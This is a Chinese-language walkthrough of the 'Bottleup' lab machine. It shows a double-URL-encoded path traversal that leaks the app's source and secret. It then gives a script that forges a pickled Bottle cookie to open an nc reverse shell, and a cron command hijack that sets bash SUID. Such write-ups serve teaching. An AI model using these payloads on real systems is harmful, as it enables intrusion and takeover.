一开始看到page=view/.html的时候就想到目录穿越了尝试../../../../../../../../../../../etc/passwd 发现不行

找半天其他可能存在漏洞的地方又找不到

卡壳了

看了看hints 他告诉我存在二次编码绕过

这点确实没想到

可以进行两次url编码再访问/proc/self/cmdline 看看该程序的路径是啥

然后

读取python代码

page=..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fopt%252fbottle-blog%252fapp.py

读取到python源码
from bottle import route, run, static_file, template, request, response, error
from config.secret import secret
import os
import urllib
import re @route("/") def home():
session = request.get_cookie('name', secret=secret)
if (not session):
session = {"name": "guest"}
response.set_cookie('name', session, secret=secret)
return template('index', name=session['name']) @ route('/static/js/<filename>') def server_static(filename):
return static_file(filename, root=os.getcwd() + '/views/js/') @ route('/static/css/<filename>') def server_static(filename):
return static_file(filename, root=os.getcwd() + '/views/css/') @ route("/view", methods=['GET']) def home():
try: # Avoiding URL Encoding # Fix added after the report from our security team # Added by Developer bob
page = urllib.parse.unquote(request.query_string.split("=")[1])
except:
page = ""
if page == "": return template("error.html", error="Error! Page Parameter empty!")
# Avoiding leaking code source or config
elif page.startswith("app.py") or page.startswith("config"):
return template("error.html", error="You can't view this page!")
# Avoiding directory traversal if ('../' not in page) and ('./' not in page): # Inforcing URL Encoding # Added by Intern Max
page = urllib.parse.unquote(page)
p = "404"
if os.path.isfile(os.getcwd() + '/' + page):
with open(os.getcwd() + '/' + page, "r") as f:
p = f.read()
else:
return template("error.html", error="Page not found!") return template("blog.html", read=p) @ error(404) def error404(error):
return template('error.html', error='404 not found') if __name__ == '__main__': run(host='0.0.0.0', port=8080)

发现有个secret 读取secret

/view?page=..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fopt%252fbottle-blog%252fconfig%252fsecret.py

改写代码让我们的cookie变成admin



但是问题又出现了估计是版本的问题我本地生成的cookie和wp生成的cookie是不一样的

这就造成了我实现不了admin的伪造 无奈只能copy wp的cookie了

然后又不知道咋整了

看wp

发现是存在bottle的漏洞 (太难了)

exp生成
import base64
import hashlib
import pickle
import hmac
import os def tob(s):
return s.encode('utf-8') secret = "546546DSQ7711DSQDSQXWZ" code = """
import os os.system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 192.168.45.250 80 >/tmp/f')
""" class RCE:
def __reduce__(self):
return exec, (code,) data = RCE() msg = base64.b64encode(pickle.dumps(data, -1))
sig = base64.b64encode(hmac.new(tob(secret), msg, digestmod=hashlib.md5).digest())
print(tob('!') + sig + tob('?') + msg)

将生成的cookie 写入就能反弹shell了 这块原理回头还得研究一下

弹回来shell了

查看pspy看定时任务发现

linpeas 发现我们具有可读可写的权限对于 这两个服务

查看该服务 发现原来定时任务是在这里开启的 60秒执行一次

运行文件我们会发现很有意思的东西



他会说这个命令不存在mpstats

这就以为这我们可以伪造命令了

cd ~;echo "chmod +s /bin/bash" > mpstats

等待定时任务执行

提权成功

只能说这次的靶机涉及的点都没想到学到了很多

Bottleup pg walkthrough Intermediate的更多相关文章

  1. 简析服务端通过GT导入SHP至PG的方法

    文章版权由作者李晓晖和博客园共有,若转载请于明显处标明出处:http://www.cnblogs.com/naaoveGIS/ 1.背景 项目中需要在浏览器端直接上传SHP后服务端进行数据的自动入PG ...

  2. Bootstap datetimepicker报错TypeError: intermediate value

    Bootstrap datetimepicker有多个版本,官方的链接中,只是datepicker,没有时间的选择,原版的datetimepicker也不再更新,不能用新版的jquery.现在http ...

  3. PG 中 JSON 字段的应用

    13 年发现 pg 有了 json 类型,便从 oracle 转 pg,几年下来也算比较熟稔了,总结几个有益的实践. 用途一:存储设计时无法预料的文档性的数据.比如,通常可以在人员表准备一个 json ...

  4. pg gem 安装(postgresql94)

    使用下面命令安装报错 gem install pg 错误: [root@AS-test middle_database]# gem install pgBuilding native extensio ...

  5. #pg学习#postgresql的安装

    1.按照官网给的步骤编译安装(Mac安装是比较容易的,相比Liunx) cd /Users/renlipeng/Desktop/postgresql-9.5.1 ./configure --prefi ...

  6. PG 函数的易变性(Function Volatility Categories)

    此概念的接触是在做分区表的时候碰到的,分区表按时间字段分区,在查询时当where条件中时间为now()或者current_time()等时是无法查询的,即使进行格式转换也不行,只有是时间格式如‘201 ...

  7. c++错误——intermediate.manifest : general error c1010070很傻的错

    .\Debug\sadf.exe.intermediate.manifest : general error c1010070: Failed to load and parse the manife ...

  8. mysql 序列与pg序列的比较

    mysql序列(这里只谈innodb引擎): 在使用mysql的AUTO_INCREMENT时,使用AUTO_INCREMENT的字段必须建有索引,也可以为索引的一部分.当没有索引时会报错:      ...

  9. 使用zfs进行pg的pitr恢复测试

    前段时间做了一下zfs做pg的增量恢复测试,mark一下. 服务器信息: 主机:192.168.173.43 备机:192.168.173.41 主备使用流复制搭建,在备机上面进行了zfs快照备份. ...

  10. PG CREATEINDEX CONCURRENTLY

    PG CREATEINDEX CONCURRENTLY [TOC] 官方说法 根据9.1的文档 Creating an index can interfere with regular operati ...

随机推荐

  1. 不错的PHP扩展

    不错的PHP扩展 ext name ext description ds data structure 提供list hash queue等数据结构 igbinary 数据压缩(速度快 压缩后内容小) ...

  2. 痞子衡嵌入式:利用i.MXRT10xx系列内部DCP引擎计算CRC32值时需注意数据对齐

    大家好,我是痞子衡,是正经搞技术的痞子.今天痞子衡给大家介绍的是利用i.MXRT10xx系列内部DCP引擎计算CRC32值时需注意数据对齐. MCU 开发里常常需要 CRC 校验来检查数据完整性,CR ...

  3. ABP实践(5)-abp前端vue框架之IView实现三级菜单(博友需要特此分享)

    为响应博友想要知道三级菜单怎么实现本篇文章先介绍三级菜单的实现,后续再分享其他部分内容 1 修改菜单组件sidebarMenu.vue 图为原代码和修改后代码比对 修改前后的源码如下 <styl ...

  4. webpack中引用jQuery的四种方式

    import webpack中是根据一个入口文件开始收集依赖. import $ from 'jquery' 但是一个项目中通常有很多个地方都用到了jQuery,每个模块都要这样的一行代码 那么如何解 ...

  5. 有经验的Java开发者和架构师容易犯的10个错误

    本文由 ImportNew - Andy.Song 翻译自 zeroturnaround.如需转载本文,请先参见文章末尾处的转载要求. 首先允许我们问一个严肃的问题?为什么Java初学者能够方便的从网 ...

  6. MarkDown文档的编写

    MarkDown的基本语法 MarkDown的标题语法  通过#进行创建标题,#的数量控制标题的级别 MarkDown的段落语法  通过空白行将一行或者多行文本进行分隔 MarkDown的强调语法 粗 ...

  7. openEuler欧拉配置MySQL8的MGR单主双从

    ​一. 系统优化(三个节点全部操作) 关闭防火墙 systemctl stop firewalld systemctl disable firewalld 关闭selinux echo "S ...

  8. HTML 面试题

    .code { background-color: rgba(246, 246, 246, 1); color: rgba(232, 62, 140, 1) } DOCTYPE的作用? DOCTYPE ...

  9. ChatGPT生成测试用例的最佳实践(四)

    通常情况下还应该进行测试用例外部评审.将已完成的基于百度关键字搜索业务的功能和安全测试用例集的存放位置告知项目团队成员,需要预留出一定的时间,便于项目组研发.产品人员阅读,以免在项目团队测试用例评审会 ...

  10. localhost 宿主机访问

    ssh -N -f -L localhost8888:localhost:8888 hostname